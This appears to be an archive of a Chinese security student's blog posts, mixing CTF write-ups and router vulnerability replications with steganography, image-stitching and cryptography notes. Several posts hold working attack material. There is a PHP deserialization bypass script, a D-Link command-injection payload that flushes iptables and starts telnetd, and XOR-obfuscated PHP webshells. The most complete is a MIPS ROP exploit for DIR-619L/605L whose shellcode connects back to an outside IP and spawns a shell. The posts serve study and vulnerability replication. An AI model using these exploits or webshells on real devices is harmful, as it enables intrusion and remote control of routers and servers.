	$image = file_get_contents("code.png");
	header('Content-type: image/png');
	echo $image;
}

 ?>

这个题目中反序列化之后肯定会调用__wakeup方法，但是在这个方法中，强制给$this->file赋值为code.png

导致最后的__destruct不能够读取其他的文件

但是如果我们在反序列化后的数据中做一定的修改,将其属性的数量修改2就可以绕过__wakeup方法

说是这么说，但是我在调试的过程中怎么也不能触发__wakeup方法


from urllib.parse import quote

URL = "http://localhost/audit/roarCTF2019/audit3.php"

p1 = 'O:8:"ReadFile":1:{s:14:"\000ReadFile\000file";s:8:"flag.php";}'

p2 = 'O:8:"ReadFile":2:{s:14:"'+quote('\000')+'ReadFile'+quote('\000')+'file";s:8:"flflagag.php";}'

p3 = 'O:4:"Test":0:{}'

p4 = 'O:8:"ReadFile":1:{s:4:"file";s:8:"flag.php";}'
payload = {'filename': (p2)}
res = requests.get(URL, params=payload)

print(res.content)

漏洞的详情如下：

谷歌发现了CVE-2016-7124，一个月前爆出的。简单来说就是当序列化字符串中，如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行参考https://bugs.php.net/bug.php?id=72663，

查阅bugs.php网站，看到了两个POC

<?php

ini_set('session.serialize_handler', 'php_serialize');
session_start();
$sess = 'O:9:"Exception":2:{s:7:"'."\0".'*'."\0".'file";R:1;}';
session_decode($sess);
echo $_SESSION;

?>

和

<?php

class obj implements Serializable {
    var $data;
    function serialize() {
        return serialize($this->data);
    }
    function unserialize($data) {
        $this->data = unserialize($data);
    }
}

$inner = 'a:1:{i:0;O:9:"Exception":2:{s:7:"'."\0".'*'."\0".'file";R:4;}';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';

$data = unserialize($exploit);
echo $data[1];

?>

但是本地并没有调试成功

三点法隐写图像

Sun, 20 Oct 2019 00:00:00 GMT

无聊之际来水一水博文，三点法隐写图像这个一直不是很理解，顺势写一下啊

可见三点法就是选出三个点

DIR-816再分析

Sat, 19 Oct 2019 00:00:00 GMT

群晖的路由器好难分析，最后还是只能复现一下D-LINK的相关漏洞。

DIR-816历史漏洞

CVE-2018-17066: Command injection. Credit: nabla
CVE-2018-17068: Command injection. Credit: nabla
CVE-2018-17064: Command injection. Credit: nabla
CVE-2018-17063: Command injection. Credit: nabla
CVE-2018-17067: Stack overflow. Credit: nabla
CVE-2018-17065: Stack overflow. Credit: nabla
CVE-2019-10041: Edit System Account Without Authentication. Credit: lbp
CVE-2019-10039: Edit Web And System Account Without Authentication. Credit: lbp
CVE-2019-10040: Remote Command Execute. Credit: lbp
CVE-2019-10042: Reset Router Without Authentication. Credit: lbp

DIR-816管理页面分析

主程序位于 ./bin/goahead

输入账号密码后，将会向goform/formLogin接口发送如下图所示的数据包进行验证。从数据包中可以看到关键的参数有username，password以及tokenid，其中username使用了base64进行编码，password则进行了某种加密

ghidra中查看函数 FUN_00457a74的源码

....
....
username = websGetVar(iParm1,"username",&DAT_00473984);
  password = (char *)websGetVar(iParm1,"password",&DAT_00473984);
  tokenid = (char *)websGetVar(iParm1,"tokenid",&DAT_00473984);
  strcpy((char *)&local_158,tokenid);
                    /* tokenid 进行拼接 */
  strcat((char *)&local_158,"B05CC245BFB8A28A83B4F80000000000");
  websDecode64(acStack296,username,0x80);
  if (*password != 0) {
    decrypt_aes(&local_158,password,acStack168);
  }
  compareResult = strcmp(__s1,acStack296);
  if (compareResult == 0) {
    iVar2 = strcmp(__s1_00,acStack168);
    if (iVar2 == 0) {
      logout = 0;
                    /* 如果密码正确记录login为1 */
      login = 1;
      strncpy(load_host,(char *)(iParm1 + 0x30),0x20);
      if (g_LanWanConflict == 1) {
        websRedirect(iParm1,"d_wan_collision.asp");
        g_LanWanConflict = 0;
      }
      else {
        websRedirect(iParm1,"index.asp");
      }
                    /* 同时向这个文件写入0 */
      system("echo \"0\" > /etc/RAMConfig/confirmlogin");
      load_dictionary(uVar1,dictionary);
      return;
    }
  }
  system("echo \"1\" > /etc/RAMConfig/confirmlogin"); //登陆失败就写入1
  websRedirect(iParm1,"dir_login.asp");
  return;

在更新BSS区的变量load_host后则会检测lan口和wan口的状态并返回对应的登录页面，随后将0写入/etc/RAMConfig/confirmlogin文件中

通过上述的分析，实际上D-Link路由器在认证成功后仅仅记录了成功登录的用户IP地址，随后将是否需要验证登录的Flag文件内容设置为了0。

如下图所示，

在更新BSS区的变量load_host后则会检测lan口和wan口的状态并返回对应的登录页面，随后将0写入/etc/RAMConfig/confirmlogin文件中。

form越权漏洞利用

通过对main函数分析，可以找到相关的form函数

重点关注sub_458D7C这个函数

可以执行任意命令了

写的比较仓促，路由器的模拟也没有成功，还是需要用qemu单独调试

10月12日线下赛总结

Mon, 14 Oct 2019 00:00:00 GMT

虽然很菜但是也忍不住想要总结一下

我们7点四十左右到底，八点半开始比赛，总共就两个小时，前半个小时用来加固自己的服务器。服务器3台，python一个，java一个，pwn一个。比赛开始的时候第一反应不都是登陆ssh嘛，结果一直连不上，然后工作人员告诉我们需要在网页登陆。。神tm网页登陆，那我怎么拷贝源码。。本来想用scp命令的结果发现这靶机连自己的机器都ping不通。。没办法只能通过网页的shell查看源码，折腾了好久才修改了密码，这时候半个小时早就过去了。于是开始了混战模式，这个时候ssh可以连上去了，但是pwn师傅的ssh一直连不上。那连不上还咋分析程序啊23333，没办法web狗开始审计源代码，python的站挺简单的，发现了一个SSTI漏洞，只过滤了几个关键字，把准备好的payload搞上去，试了好半天却没有得到flag？？？后来经过不懈的努力终于成功地读到了flag，然后就去交。。神tm还要验证码和对应靶机的ip地址。填完之后却提示flag错误了？？？难道这是别的队伍故意设下的陷进给的假的flag不成？？但是我又试了好多个还是失败了。。这就不知道为什么了。。

总之后期就是一直在交flag，，java的站连网站根目录都没有发现(原谅我tcl)，pwn师傅的ssh好不容易连上了却发现无法连上别的队伍的pwn服务器？？那还搞锤子。。结果后来pwn师傅也开始帮我交flag了，最后总算是靠着这个漏洞狗住了，从12名跳到了第四名。。

唉赛后pwn师傅一直吐槽这个服务器垃圾，赛后才知道原来是python的服务器的flag生成有问题导致。。唉不说了回家好好练习。。

二值图像的隐写

Mon, 14 Oct 2019 00:00:00 GMT

算法思想

把一个二值图像分成矩形图像区域Bi,若某块p1bi > 50% 则嵌入一个1，若p0bi > 50% 则嵌入一个0

但是在嵌入的过程中需要对一些像素的颜色进行调整。

准备1——计算可以利用的块

由上图可以看出，只有当一个块中0或者1的比例落在某个区间并且结合消息是0or1才可以决定这一块究竟是藏0还是藏1

为了简化我们将一幅图片分为10*10的大小，同时我们采用8*8检测，于是可以严格8*8检测的就只剩下中间的64个块了

我们假设有：

msg 要隐藏的消息
count 消息的长度
image 二值图像
R1,R0,lumda 是我们设置的参数
computep1bi函数可以计算出某个块的p1bi
row,col是为了随机隐藏我们随机选择的块首地址

我们需要确定的就是随机选出来的row和col是否可以用，于是很自然地想到需要对8*8的块进行遍历，同时标记col和row是否可用，不可用的直接将其设为-1

% 最后计算哪些是可以用的存起来
j = 1;
for i = 1:m*n
if row(i) ~= -1
  availabler(j) = row(i);
  availablec(j) = col(i);
  j = j+1;

完整代码

%分析可用的图像块与秘密信息对应
% msg count 为密码消息及其数量
% row col 存放的是随机选块后的块首地址的行列地址
% m*n 为总体数量
% image 为载体图像
% R1,R0,lumda 为参数
% randr randc 是在8*8范围内随机置乱的行列标
function [availabler, availablec, image] = available(msg, count, row, col, m, n, image, R1, R0, lumda, randr, randc)
	msgquan = 1;
	unable = 0;
	difficult = 0;
	for blockquan = 1:m*n
        % 计算这一块的p1bi
		p1bi = compute1bi(row(blockquan), col(blockquan), image);  %计算p1(bi)
		if p1bi >= R1+3*lumda || p1bi <= R0 -3*lumda
			row(blockquan) = -1; % 标记为无用
			col(blockquan) = -1;
			unable = unable + 1;
			msgquan = msgquan - 1; % 该消息还未找到可以隐藏的块
		elseif msg(msgquan, 1) == 1 && p1bi <= R0
            % 调整p1bi变的更小
			image = editp1bi(row(blockquan), col(blockquan), image, 1, 3*lumda, randr, randc);
			row(blockquan) = -1;
			col(blockquan) = -1;
			difficult = difficult + 1;
			msgquan = msgquan - 1;
		elseif msg(msgquan, 1) == 0 && p1bi >= R1
			image = editp1bi(row(blockquan),col(blockquan),image,0,3*lumda,randr,randc);
			row(blockquan) = -1;
			col(blockquan) = -1;
			difficult = difficult + 1;
			msgquan = msgquan - 1;
		else
			row(blockquan) = row(blockquan);
			col(blockquan) = col(blockquan);
		end
		msgquan = msgquan + 1;
		if msgquan == count + 1;%该消息已经读取完成
			for i = (blockquan + 1):m*n %将其余的都设置为不可用
				row(i) = -1;
				col(i) = -1;
			end
			disp(['消息长度:', num2str(msgquan - 1), 'bits;用到的块数:', num2str(blockquan),';其中不可用的块有:', num2str(unable),';另有',num2str(difficult),'块难以调整已修改为不可用块'])
			break;
		end
	end
      %载体分析完但消息还没有读完
      if msgquan <= count
        disp(['消息长度:', num2str(msgquan - 1), 'bits;用到的块数:', num2str(blockquan),';其中不可用的块有:', num2str(unable),';另有',num2str(difficult),'块难以调整已修改为不可用块'])
        disp('请根据以上数据更换载体');
        error('载体太小');
      end
      %计算可用块的数量
      %disp(row)
      quan = 0;
      for i = 1:m*n
        if row(i) ~= -1
          quan = quan + 1;
        end
      end

      if quan < count
        error('可用快太小');
      end
      disp(['可用图像块为：', num2str(quan)]);
      %生成可用块的行标列标并于消息对应
      image = round(image);
      availabler = zeros([1, quan]);
      availablec = zeros([1, quan]);
      j = 1;
      for i = 1:m*n
        if row(i) ~= -1
          availabler(j) = row(i);
          availablec(j) = col(i);
          j = j+1;
        end
      end

准备2——修改像素点

%修改像素的函数
% headr为块首行地址
% headc为块首列地址
% image 为图像
% pixel 为要修改的像素
% count 为修改的数量
% randr randc 是随机置乱的结果
function image = editp1bi(headr, headc, image, pixel, count, randr, randc)
  c = 0;
  for i = 1:64
    if image(headr+randr(i), headc+randc(i)) == pixel
      %八连接检测
      if image(headr+randr(i)-1, headc+randc(i)) == ~pixel ||...
        image(headr+randr(i)+1,headc+randc(i)) == ~pixel ||...
        image(headr+randr(i),headc+randc(i) - 1) ~= pixel || ...
        image(headr+randr(i),headc+randc(i) + 1) ~= pixel || ...
        image(headr+randr(i)-1,headc+randc(i) - 1) ~= pixel|| ...
        image(headr+randr(i) -1,headc+randc(i) + 1) ~=pixel||...
        image(headr+randr(i)+ 1,headc+randc(i) - 1) == ~pixel ||... 
        image(headr+randr(i) + 1,headc+randc(i) + 1) == ~pixel... 
        image(headr+randr(i), headc+randc(i)) = ~pixel+0.01;
        c = c+1;
      end
      
    end
      if c==count
        return 
      end
  end
  if c ~= count
  disp('warning! 参数选择不当 未能。。。建议重做');
  end

这里其实就是针对中间的64个块进行8连接检测。关于8连接检测边界的做法，我的理解就是只要一个像素点周围的8个点有一个不一样就说明这个点是可以修改的，并且为了防止边界扩散，我们并不直接取反，而是取反后+0.01

准备3——计算p1bi的函数

function p1bi = compute1bi(headr,headc,image)
   p1bi = 0;
   for i = 1:10
     for j = 1:10
       if image(headr+i-1, headc+j-1) == 1
         p1bi = p1bi + 1;
       end
     end
   end

图片拼接作业

Mon, 14 Oct 2019 00:00:00 GMT

sift算子

角点检测技术，比如Harris等，具有旋转不变性，即使图片发生了旋转，我们也能找到同样的角点。但是对图片进行缩放之后，角点就可能不再是角点了。

所以我们需要用尺度去描绘一副图片，不同大小的图片描绘的尺度，可以理解成单位是不一样的。为了达到这个目的需要使用尺度空间滤波器。SIFT算法使用高斯差分算子DOG来对LoG做一次近似。

图像金字塔，分成很多层，每一层又有很多组。之后我们可以做差值，经过一系列繁琐的步骤找到极值点。

按照教程写了一个代码调试一下：

img = cv2.imread('src1.jpg')
# 变成灰度图像
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)

sift = cv2.xfeatures2d.SIFT_create()
kp = sift.detect(gray, None)
img = cv2.drawKeypoints(gray,kp,outImage=gray)
cv2.imshow('img',img)
cv2.waitKey()

效果图如下：

注意我使用的opencv版本，要使用sift算子必须是sift = cv2.xfeatures2d.SIFT_create()

之后检测到特征点，直接调用cv2.drawKeypoints函数描绘特征点

cv2.drawKeypoints主要的五个参数

image:也就是原始图片
keypoints：从原图中获得的关键点，这也是画图时所用到的数据
outputimage：输出 //可以是原始图片
color：颜色设置，通过修改（b,g,r）的值,更改画笔的颜色，b=蓝色，g=绿色，r=红色。
flags：绘图功能的标识设置

特征点匹配如何做到图片拼接

这个问题我也很疑惑之后再写

图片拼接作业代码

#coding: utf-8


 
'''
 参考链接 https://blog.csdn.net/qq878594585/article/details/81901703
'''

leftgray = cv2.imread('src2.jpg')
rightgray = cv2.imread('src1.jpg')
 
hessian=400
surf = cv2.xfeatures2d.SURF_create(hessian)
#surf=cv2.SURF(hessian) #将Hessian Threshold设置为400,阈值越大能检测的特征就越少
kp1,des1=surf.detectAndCompute(leftgray,None)  #查找关键点和描述符
kp2,des2=surf.detectAndCompute(rightgray,None)
 
 
FLANN_INDEX_KDTREE=0   #建立FLANN匹配器的参数
indexParams=dict(algorithm=FLANN_INDEX_KDTREE,trees=5) #配置索引，密度树的数量为5
searchParams=dict(checks=50)    #指定递归次数
#FlannBasedMatcher：是目前最快的特征匹配算法（最近邻搜索）
flann=cv2.FlannBasedMatcher(indexParams,searchParams)  #建立匹配器
matches=flann.knnMatch(des1,des2,k=2)  #得出匹配的关键点
 
good=[]
#提取优秀的特征点
for m,n in matches:
    if m.distance < 0.7*n.distance: #如果第一个邻近距离比第二个邻近距离的0.7倍小，则保留
        good.append(m)
src_pts = np.array([ kp1[m.queryIdx].pt for m in good])    #查询图像的特征描述子索引
dst_pts = np.array([ kp2[m.trainIdx].pt for m in good])    #训练(模板)图像的特征描述子索引
H=cv2.findHomography(src_pts,dst_pts)         #生成变换矩阵
h,w=leftgray.shape[:2]
h1,w1=rightgray.shape[:2]
shft=np.array([[1.0,0,w],[0,1.0,0],[0,0,1.0]])
M=np.dot(shft,H[0])            #获取左边图像到右边图像的投影映射关系
dst_corners=cv2.warpPerspective(leftgray,M,(w*2,h))#透视变换，新图像可容纳完整的两幅图
cv2.imshow('tiledImg1',dst_corners)   #显示，第一幅图已在标准位置
dst_corners[0:h,w:w*2]=rightgray  #将第二幅图放在右侧
cv2.imwrite('tiled.jpg',dst_corners)
cv2.imshow('tiledImg',dst_corners)
cv2.imshow('leftgray',leftgray)
cv2.imshow('rightgray',rightgray)
cv2.waitKey()
cv2.destroyAllWindows()

原来博主的代码出了一点小问题，估计是复制粘贴的时候出的错。修改了一下可以运行，效果如下：

参考

特征匹配

python审计之flask

Thu, 10 Oct 2019 00:00:00 GMT

菜鸡决定对python审计好好复习一下

HCTF2018 admin

复现

虽然是非预期解但是也很有趣，师傅写的代码也挺棒的

在修改密码的页面查看源代码发现了一个提示。(不过这个挺难发现的还是要养成多看看源码的习惯)


<div class="ui grid">
    <div class="four wide column"></div>
    <div class="eight wide column">
        <!-- https://github.com/woadsl1234/hctf_flask/ -->
      <form class="ui form segment" method="post" enctype="multipart/form-data">
        <div class="field required">
          <label>NewPassword</label>
          <input id="newpassword" name="newpassword" required type="password" value="">
        </div>
        <input type="submit" class="ui button fluid" value="更换密码">
      </form>

之后就可以看到flask的secret_key是ckj123

同时可以看到flag获得的条件

{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{un1c0dE_cHe4t_1s_FuNnying}</h1>
{% endif %}

然后就可以伪造session了，抓包后修改session就可以了(Windows的python3跑不了用的WSL中的python3)

flask-session-cookie-manager git:(master) python3 session_cookie_manager.py encode -s 'ckj123' -t '{"name":"admin", "user_id":"1"}'
eyJuYW1lIjoiYWRtaW4iLCJ1c2VyX2lkIjoiMSJ9.XZ9J5Q.mDSLo4JaAJRZVahOGaLqKCuswD8

分析一下源码

app目录主要内容，其中code.py是用来产生验证码的，config.py是配置文件，forms.py是表单建模，models.py是一些模型，routers.py是路由

├── app
│   ├── __init__.py
│   ├── __init__.pyc
│   ├── code.py
│   ├── code.pyc
│   ├── config.py
│   ├── config.pyc
│   ├── forms.py
│   ├── forms.pyc
│   ├── models.py
│   ├── models.pyc
│   ├── routes.py
│   ├── routes.pyc
│   ├── static
│   └── templates

我们拿到flag的条件就是登陆admin用户，登陆的路由如下：

@app.route('/login', methods = ['GET', 'POST'])
def login():
    # TODO: 此处current_user是什么意思？它是从flask_login中导入的
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data) #从表单中获取到name然后存入session中
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

这里涉及到了flask的用户认证可以学习一下，令人疑惑的是文档中说了这个is_authenticated方法需要自己实现，但是我并没有在源代码中找到实现了这个方法。

参考文档

密码学复习

Thu, 10 Oct 2019 00:00:00 GMT

先补习一下数学知识

随机变量

这张ppt中，定义$X(y) = lsb\, (y) $ 于是可以得出随机变量的概率分布

联合随机分布

联合随机分布就是指对于$U$中所有的变量，概率都是相等的

随机算法

这个适合确定性算法相对应的(或许和后面的nounce有关？)

r是从{0, 1}^n中的联合随机分布，作为参数输入到函数A中，这样得到的结果y也是随机的

secure PRF

挑战者随机选择，攻击者发送一连串的x进行试验，某两次实验的结果相同的概率是可忽略的，则这个PRF就是安全的

区分PRP和PRF

如下同样的两个算法，对于PRP来说是安全的，但是对于PRF却是不安全的

但是不太理解其中的分析，为什么第一次EXP(O) = 1的概率就是0呢？

php一些webshell构造总结

Sat, 05 Oct 2019 00:00:00 GMT

ASCII表复习

由于构造shell的时候都需要使用到异或等运算，所以手边一定要常备ASCII码表

表格总共是16行8列从0开始，到0x7f结束

记住常用的ASCII码值

0 十进制 48 十六进制 0x30
1 十进制 49 十六进制 0x31

A 十进制 65 十六进制 0x41  其实就是跨了16行正好在相邻的列上
a 十进制 97 十六进制 0x61  垮了两次16行

最基本的无字母数字webshell

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);
}

参考p牛的文章

通过异或

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

取反

核心也是构造出一个函数

路由器相关RCE漏洞分析

Sat, 05 Oct 2019 00:00:00 GMT

复习一下基本知识

postgresql数据库操作

如果是安装好了postgresql数据库就会新建一个postgreql用户

sudo su - postgres切换到postgresql

psql就可以直接登陆

基本操作如下：

\l列出所有的数据库
\c选择数据库
\dt列出所有表
\d描述表的信息

使用firmadyne会将信息保存到postgresql数据库中

ubuntu安装burp

下载地址

然后java -jar .jar就可以启动了

D-Link850L RCE分析

参考文章

信息泄露

位于fatlady.php文件中，很明显的看到了参数拼接的行为

构造恶意数据发送

<?xml version="1.0" encoding="utf-8" ?><postxml><module><service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service></module></postxml>

可以看到其解析了但是并没有返回数据

尝试多次均失败，于是用默认密码直接登录上去

漏洞点：

$server = query("/device/time/ntp/server");
$period = query("/device/time/ntp/period");	if ($period=="") $period="604800";
$period6 = query("/device/time/ntp6/period");	if ($period6=="") $period6="604800";
$ntp_run = "/var/run/ntp_run.sh";

if ($enable==1 && $enablev6==1)
{
	if ($server=="") fwrite(a, $START, 'echo "No NTP server, disable NTP client ..." > /dev/console\n');
	else
	{
		fwrite(w, $ntp_run, '#!/bin/sh\n');
		fwrite(a, $ntp_run,
			'echo "Run NTP client ..." > /dev/console\n'.
			'echo [$1] [$2] > /dev/console\n'.
			'STEP=$1\n'.
			'RESULT="Null"\n'.
			'xmldbc -s /runtime/device/ntp/state RUNNING\n'.
			'SERVER4='.$server.'\n'.
			'SERVER6=`xmldbc -g /runtime/device/ntp6/server | cut -f 1 -d " "`\n'.
			'if [ "$STEP" == "V4" ]; then\n'.
			'	xmldbc -t "ntp:'.$period.':'.$ntp_run.' $STEP"\n'.
			'	echo "ntpclient -h $SERVER4 -i 5 -s -4" > /dev/console\n'.
			'	ntpclient -h $SERVER4 -i 5 -s -4 > /dev/console\n'.

这里直接把$server变量拼接在了命令执行的代码中，存在命令注入

首先，获取DEVICE.TIME服务的xml文件格式

但是格式好像有问题

使用如下payload尝试

<?xml version="1.0" encoding="utf-8" ?>
<postxml>
	<module>
		<service>DEVICE.TIME</service>
		<device>
			<time>
				<ntp>
					<enable>1</enable>
					<period>604800</period>
					<server>metelesku;(iptables -F ;iptables -X;iptables -t nat -F;iptables -t nat -X;iptables -t mangle -F;iptables -t mangle -X;iptables -P INPUT ACCEPT; iptables -P FORWARD ACCEPT;iptables -P OUTPUT ACCEPT;telnetd -p 23090 -l /bin/date) &amp; exit;</server>
				</ntp>
				<ntp6>
					<enable>1</enable>
					<period>604800</period>
				</ntp6>
				<timezone>63</timezone>
				<time/>
				<date/>
				<dst>0</dst>
				<dstmanual/>
				<dstoffset/>
			</time>
		</device>
	</module>
</postxml>

但是还是失败了

DIR-619L&605L 栈溢出漏洞

漏洞点在/bin/boa程序处

通过ghidra反编译代码可以看到：

formLanguageChange函数

    if (pcVar2 != (char *)0x0) {
      strncpy(local_f8,__s1,(size_t)(pcVar2 + -(int)__s1));
      local_f8[(int)(pcVar2 + -(int)__s1)] = 0;
      goto LAB_00460b34;
    }
    uVar3 = websGetVar(uParm1,"currTime",&DAT_004ac874);
  }
  //formLanguageChange接下来调用了sprintf危险函数向local_f8变量中读入参数内容
  sprintf(local_f8,"%s?t=%s",__s1,uVar3);
LAB_00460b34:
  websRedirect(uParm1,local_f8); //websRedirect使用了local_f8作为参数。
  system("echo 4 > /proc/gpio");
  iVar1 = apmib_update(4);

websGetVar函数获取到参数之火传入uVar3变量，之后sprintf函数将其写入到local_f8中，再调用websRedirect函数进行URL跳转

websGetVar函数

  }
  //websGetVar通过malloc、memcpy将获取到的参数返回给formLanguageChange。
  if (-1 < (int)__n) {
    pvParm3 = malloc(__n + 1);
    memcpy(pvParm3,query_temp_var,__n);
    *(undefined *)((int)pvParm3 + __n) = 0;
    addTempStr(pvParm3);
  }
  return pvParm3;
}

继续分析websRedirect函数

undefined4 websRedirect(int iParm1,char *pcParm2)

{
  char *pcVar1;
  
  *(undefined4 *)(iParm1 + 0x50) = 0;
  pcVar1 = strstr(pcParm2,"/apply_setting.asp");
  if (pcVar1 != (char *)0x0) {
    apply_setting_redirect = apply_setting_redirect + 1;
  }
  send_r_moved_perm(iParm1,pcParm2);
  return 0;
}

可以看到调用了send_r_moved_perm函数

req_write(iParm1,uVar1);
req_write(iParm1,&DAT_004a1f14);
pcVar2 = strstr(pcParm2,"http://");
if (pcVar2 == (char *)0x0) {
  if (*pcParm2 == '/') {
    pcParm2 = pcParm2 + 1;
  }
  sprintf(acStack224,"http://%s/%s",*(undefined4 *)(iParm1 + 0x70),pcParm2);
  pcParm2 = acStack224;
}
sprintf(acStack480,
                  
        "<html><head></head><body>\r\n\t\tThis document has moved to a new <ahref=\"%s\">location</a>.\r\n\t\tPlease update your documents to reflect the newlocation.\r\n\t\t</body></html>\r\n"
        ,pcParm2);
req_write(iParm1,acStack480);

在send_r_moved_perm函数中两次调用了sprintf函数分别向acStack224(sp+0x19f8-0xe0)和acStack480(sp+0x19f8-0x1e0)中输入字符。

通过第二两个sprintf修改返回地址，构造ROP链，导致程序控制流被劫持。（也可以通过两个sprintf的配合来实现栈的迁移，漏洞作者是这么实现的）

在mips虚拟机中尝试运行程序但是失败了,firmadyne模拟固件也没成功

记录一下其实是文件损坏了所以qemu模拟不了

ecutable, MIPS, MIPS-I version 1 (SYSV), dynamically linked (uses shared libs), corrupted section header size

在我的WSL中使用最新的qemu是可以模拟的

➜  squashfs-root-0 sudo chroot . ./qemu ./bin/boa                                                                       Initialize AP MIB failed!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
[1]    363 segmentation fault (core dumped)  sudo chroot . ./qemu ./bin/boa

那看来需要更新一下qemu版本了

记录一下exp




from pwn import *
#context.log_level='debug'
context.arch='mips'
context.endian='big'
ip='192.168.75.150'

def syscmd1(a):
    p=remote(ip,80)
    z=len(a)
    print "[+]len:"+str(z)
    payload=''
    payload+='POST /goform/formLanguageChange HTTP/1.1\r\n'
    payload+='Host: '+ip+'\r\n'
    payload+='Connection: keep-alive\r\n'
    payload+='Accept-Encoding: gzip, deflate\r\n'
    payload+='Accept: */*\r\n'
    payload+='User-Agent: python-requests/2.18.4\r\n'
    payload+='Content-Length: '+str(z+9)+'\r\n'
    payload+='Content-Type: application/x-www-form-urlencoded\r\n'
    payload+='\r\n'
    payload+='currTime='
    payload+=a+'\r\n'
    p.send(payload)
    p.recvuntil('</html>')
    #raw_input()
    p.close()

#base address of libc.so.0
base1=0x2ab88000
###shellcode
sc=struct.pack(">I",0x24060101)
sc+=struct.pack(">I",0x04d0ffff)
sc+=struct.pack(">I",0x2806ffff)
sc+=struct.pack(">I",0x27bdffe0)
sc+=struct.pack(">I",0x27e41001)
sc+=struct.pack(">I",0x2484f023)
sc+=struct.pack(">I",0xafa4ffe8)
sc+=struct.pack(">I",0xafa0ffec)
sc+=struct.pack(">I",0x27a5ffe8)
sc+=struct.pack(">I",0x24020fab)
sc+=struct.pack(">I",0xafa00108)
sc+=struct.pack(">I",0x0101010c)
sc+="/bin//sh\x00"

shellcode =''
shellcode += asm(shellcraft.connect('192.168.75.149',5555))
shellcode += asm(shellcraft.dup2(5,0))
shellcode += asm(shellcraft.dup2(5,1))
shellcode += sc

s0=struct.pack(">I",base1+0x2C794)
s1=struct.pack(">I",base1+0x2C794)### rop2:move $t9,$s2;...;jr $t9 
s2=struct.pack(">I",base1+0x24b70)### rop3:sleep(1)
s3=struct.pack(">I",base1+0x2bdac)### rop5:addiu $a0,$sp,0x18;...;lw $ra,0x30;jr $ra
s4=struct.pack(">I",base1+0x2bdac)
###rop
payload1='a'*0x167+s0+s1+s2+s3
payload1+=struct.pack(">I",base1+0x25714)  ###rop1: li $a0,1;move $t9,$s1;jalr $t9;ori $a1,$s0,2
payload1+='b'*0x1c+s0+s1+s2+s3+s4
payload1+=struct.pack(">I",base1+0x5f98)  ###rop4:lw $ra,0x1c($sp);...;jr $ra
payload1+='c'*0x1c
payload1+=s3
payload1+='d'*0x18
payload1+=struct.pack(">I",0x24910101) ###rop7 addiu $s1,$a0,257;addi $s1,$s1,-257;move $t9,$s1;jalr $t9
payload1+=struct.pack(">I",0x2231feff)
payload1+=struct.pack(">I",0x0220c821)
payload1+=struct.pack(">I",0x0320f809)
payload1+=struct.pack(">I",0x2231feff)
payload1+=struct.pack(">I",0x2231feff)
payload1+=struct.pack(">I",base1+0x2bda0) ###rop6:mov $t9,$a0;...;jalr $t9
payload1+='e'*0x20+shellcode
if __name__ == "__main__":
    syscmd1(payload1)

参考

D-Link-Dir-850L-远程命令执行漏洞

路由器漏洞分析系列（2）：CVE-2018-20056 DIR-619L&605L 栈溢出漏洞分析及复现

java代码审计基础

Fri, 04 Oct 2019 00:00:00 GMT

是时候开始研究java代码审计了

反射

通过反射可以使得java语言具有动态特性

通过java.lang.Runtime

反射利用的代码如下：

public static void main(String[] args) throws ClassNotFoundException,NoSuchMethodException, IllegalAccessException, InvocationTargetException {
    Class clazz = Class.forName("java.lang.Runtime");
    clazz.getMethod("exec", String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz), "calc.exe");
}

java.lang.Runtime遵循单例模式，也就是说构造方法是私有的、

查看其源码可以发现:

/** Don't let anyone else instantiate this class */
private Runtime() {}

注释中特意写明了不要让任何人实例化这个类

private static Runtime currentRuntime = new Runtime();

/**
 * Returns the runtime object associated with the current Java application.
 * Most of the methods of class <code>Runtime</code> are instance
 * methods and must be invoked with respect to the current runtime object.
 *
 * @return  the <code>Runtime</code> object associated with the current
 *          Java application.
 */
public static Runtime getRuntime() {
    return currentRuntime;
}

遵循单例模式所以就会有一个静态方法getRuntime

要实现反射执行exec，前面提到的payload可以分为几个部分

//获取到java.lang.Runtime的class对象
Class clazz = Class.forName("java.lang.Runtime");
Method execMethod = clazz.getMethod("exec", String.class);
Method runtimeMethod = clazz.getMethod("getRuntime");
execMethod.invoke(runtimeMethod.invoke(clazz), "calc.exe");

注意每一个反射得来的方法invoke的时候第一个参数必须是对象

ProcessBuilder的利用

//顾名思义和StringBuilder又几分相似
Class clazz = Class.forName("java.lang.ProcessBuilder");
Method startMethod = clazz.getMethod("start");
startMethod.invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));

同样我们通过反射拿到start方法，然后调用的时候，由于第一个参数必须是该类的对象，所以我们通过getConstructor方法拿到它的构造方法之后实例化

反射例题

引用code breaking的一道题目

题目是一个登陆的页面，用户名和密码都是admin，登陆的时候可以勾选remeber-me选项

登录之后是一个hello页面

@GetMapping
public String admin(@CookieValue(value = "remember-me", required = false) String rememberMeValue,HttpSession session,Model model) {
        if (rememberMeValue != null && !rememberMeValue.equals("")) {
            String username = userConfig.decryptRememberMe(rememberMeValue);
            if (username != null) {
                session.setAttribute("username", username);
            }
        }

        Object username = session.getAttribute("username");
        if(username == null || username.toString().equals("")) {
            return "redirect:/login";
        }

        model.addAttribute("name", getAdvanceValue(username.toString()));
        return "hello";
    }

勾选了remember-me之后，会从中解密得到username，然后将其传递给一个方法getAdvanceValue跟进这个方法：

private String getAdvanceValue(String val) {
     for (String keyword: keyworkProperties.getBlacklist()) {
         Matcher matcher = Pattern.compile(keyword, Pattern.DOTALL | Pattern.CASE_INSENSITIVE).matcher(val);
         if (matcher.find()) {
